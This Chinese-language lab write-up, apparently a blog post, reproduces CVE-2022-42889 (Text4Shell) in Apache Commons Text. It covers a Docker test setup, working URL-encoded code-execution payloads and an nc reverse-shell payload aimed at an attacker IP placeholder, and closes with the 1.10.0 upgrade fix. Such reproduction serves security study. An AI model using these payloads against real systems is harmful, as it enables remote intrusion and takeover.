Apache Commons Text 项目实现了一系列关于文本字符串的算法,专注于处理字符串和文本块。10月13日,Apache发布安全公告,修复了Apache Commons Text中的一个远程代码执行漏洞(CVE-2022-42889)。
Apache Commons Text版本1.5到1.9中,该问题的根源在于在DNS、脚本和 URL 查找期间执行的字符串替换方式可能导致在传递不受信任的输入时在易受攻击的系统上执行任意代码。
成功利用该漏洞可以使威胁参与者仅通过特制的有效负载打开与易受攻击的应用程序的反向 shell 连接,从而有效地为后续攻击打开大门。
1.5 <= Apache Commons Text <= 1.9
GitHub地址: https://github.com/karthikuj/cve-2022-42889-text4shell-docker
yum update && yum install openjdk-11-jdk
yum install docker.io containerd runc
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
../apache-maven-3.6.3/bin/mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
payload
search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
url编码
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
还可以尝试,我这个靶机好像不支持
search=${url:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
search=${dns:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
获取容器id
docker container ls
进入容器查看我们刚刚新建的文件foo
docker exec -it <CONTAINER_ID> bash
使用nc监听
nc -lvnp 4444
payload
search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20攻击机ip%20端口%20-e%20%2Fbin%2Fbash%27%29%7D
url编码生成参考https://www.urlencoder.org/
重要提醒:生成的编码包含:“.exec%27”。这是不正确的,它必须是“.exec%28%27”。由于 Medium.com 输入验证,无法使用“.exec%28%27”。我们必须手动添加缺少的“%28”…
1.升级到 Apache Commons Text 1.10.0(1.10官方默认移除了script)
1.https://blog.csdn.net/qq_44281295/article/details/127383312
2.https://baijiahao.baidu.com/s?id=1747458179022945119&wfr=spider&for=pc
3.https://mp.weixin.qq.com/s/2q5SL1CJAHVPMbKP2Pg_AA